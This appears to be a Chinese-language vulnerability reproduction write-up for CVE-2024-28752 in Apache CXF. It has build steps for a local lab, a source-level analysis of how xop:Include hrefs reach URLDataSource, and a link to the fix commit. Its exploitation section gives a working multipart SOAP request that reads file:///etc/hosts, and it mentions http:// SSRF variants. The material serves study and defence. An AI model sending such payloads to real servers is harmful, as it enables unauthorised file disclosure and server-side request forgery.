Share
## https://sploitus.com/exploit?id=80B8367B-409D-54EB-AE97-67EB1BE707CD
## Apache CXF CVE-2024-28752 复现环境
> 漏洞公告:https://cxf.apache.org/security-advisories.data/CVE-2024-28752.txt
### 环境启动
> [samples/java_first_jaxws_factory_bean](https://github.com/apache/cxf/tree/main/distribution/src/main/release/samples/java_first_jaxws_factory_bean)
#### IDEA
通过 [ServerStarter.java](./src/main/java/ServerStarter.java) 启动 webservice 服务
#### 构建
> 使用 JDK8
```bash
mvn clean package
java -jar target/cxf.jar
```
### 漏洞利用
使用 BurpSuite 发送如下请求即可触发。
```http request
POST /test HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/related; boundary=----kkkkkk123123213
Content-Length: 472
Connection: close
------kkkkkk123123213
Content-Disposition: form-data; name="1"
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://service.namespace/">
<soapenv:Header/>
<soapenv:Body>
<web:test>
<arg0>
<count><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///etc/hosts"></xop:Include></count>
</arg0>
</web:test>
</soapenv:Body>
</soapenv:Envelope>
------kkkkkk123123213--
```

### 漏洞分析
以下是文件读取的堆栈,xop:Include 标签是由 MTOMDecorator 这个类来解析的。
```text
<init>:93, FileInputStream (java.io)
connect:90, FileURLConnection (sun.net.www.protocol.file)
getInputStream:188, FileURLConnection (sun.net.www.protocol.file)
openStream:1092, URL (java.net)
getInputStream:107, URLDataSource (javax.activation)
get:181, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
length:212, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
_parseInt:94, DatatypeConverterImpl (com.sun.xml.internal.bind)
parse:725, RuntimeBuiltinLeafInfoImpl$18 (com.sun.xml.internal.bind.v2.model.impl)
parse:723, RuntimeBuiltinLeafInfoImpl$18 (com.sun.xml.internal.bind.v2.model.impl)
text:54, TextLoader (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
text:572, UnmarshallingContext (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
startElement:92, MTOMDecorator (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
handleStartElement:231, StAXStreamConnector (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
bridge:165, StAXStreamConnector (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
unmarshal0:400, UnmarshallerImpl (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
unmarshal:379, UnmarshallerImpl (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
doUnmarshal:887, JAXBEncoderDecoder (org.apache.cxf.jaxb)
access$200:103, JAXBEncoderDecoder (org.apache.cxf.jaxb)
run:926, JAXBEncoderDecoder$3 (org.apache.cxf.jaxb)
doPrivileged:-1, AccessController (java.security)
unmarshall:924, JAXBEncoderDecoder (org.apache.cxf.jaxb)
unmarshall:744, JAXBEncoderDecoder (org.apache.cxf.jaxb)
read:172, DataReaderImpl (org.apache.cxf.jaxb.io)
handleMessage:109, DocLiteralInInterceptor (org.apache.cxf.wsdl.interceptors)
doIntercept:308, PhaseInterceptorChain (org.apache.cxf.phase)
onMessage:121, ChainInitiationObserver (org.apache.cxf.transport)
```
href 内容是由 AttachmentUnmarshaller 这个类进行处理。
```java
class MTOMDecorator implements XmlVisitor {
public void startElement(TagName tagName) throws SAXException {
if (tagName.local.equals("Include") && tagName.uri.equals("http://www.w3.org/2004/08/xop/include")) {
String href = tagName.atts.getValue("href");
DataHandler attachment = this.au.getAttachmentAsDataHandler(href);
if (attachment == null) {
this.parent.getEventHandler().handleEvent((ValidationEvent) null);
}
this.base64data.set(attachment);
this.next.text(this.base64data);
this.inXopInclude = true;
this.followXop = true;
} else {
this.next.startElement(tagName);
}
}
}
```
AttachmentUnmarshaller 默认实现类为 `com.sun.xml.internal.ws.message.AttachmentUnmarshallerImpl`,其只处理当前
attachments 中有的内容。
```java
public final class AttachmentUnmarshallerImpl extends AttachmentUnmarshaller {
public DataHandler getAttachmentAsDataHandler(String cid) {
Attachment a = this.attachments.get(this.stripScheme(cid));
if (a == null) {
throw new WebServiceException(EncodingMessages.NO_SUCH_CONTENT_ID(cid));
} else {
return a.asDataHandler();
}
}
private String stripScheme(String cid) {
if (cid.startsWith("cid:")) {
cid = cid.substring(4);
}
return cid;
}
}
```
而在 Apache CXF 中,实现类为 `org.apache.cxf.jaxb.attachment.JAXBAttachmentUnmarshaller`,扩展了这部分的实现。
`file:///` 或是 `http://xxx` 这种常见 SSRF payload 将会初始化一个 URLDataSource。官方的修复方案也是在此处
[apache/cxf@659a8](https://github.com/apache/cxf/commit/659a8f9b10bc8037774c0399e61e77e3955fd230)
```java
public final class AttachmentUtil {
public static DataSource getAttachmentDataSource(String contentId, Collection<Attachment> atts) {
if (contentId.startsWith("cid:")) {
try {
contentId = URLDecoder.decode(contentId.substring(4), StandardCharsets.UTF_8.name());
} catch (UnsupportedEncodingException var3) {
contentId = contentId.substring(4);
}
return loadDataSource(contentId, atts);
} else if (contentId.indexOf("://") == -1) {
return loadDataSource(contentId, atts);
} else {
try {
return new URLDataSource(new URL(contentId));
} catch (MalformedURLException e) {
throw new Fault(e);
}
}
}
}
public class URLDataSource implements DataSource {
public InputStream getInputStream() throws IOException {
return this.url.openStream();
}
}
```
最后 Base64Data 会调用 getInputStream 触发 url.openStream() 来读取数据并使用 Base64 格式编码传输。
```java
public final class Base64Data extends Pcdata {
public byte[] get() {
if (this.data == null) {
try {
ByteArrayOutputStreamEx baos = new ByteArrayOutputStreamEx(1024);
InputStream is = this.dataHandler.getDataSource().getInputStream();
baos.readFrom(is);
is.close();
this.data = baos.getBuffer();
this.dataLen = baos.size();
} catch (IOException var3) {
this.dataLen = 0;
}
}
return this.data;
}
public void writeTo(char[] buf, int start) {
this.get();
DatatypeConverterImpl._printBase64Binary(this.data, 0, this.dataLen, buf, start);
}
public void writeTo(UTF8XmlOutput output) throws IOException {
this.get();
output.text(this.data, this.dataLen);
}
public void writeTo(XMLStreamWriter output) throws IOException, XMLStreamException {
this.get();
DatatypeConverterImpl._printBase64Binary(this.data, 0, this.dataLen, output);
}
}
```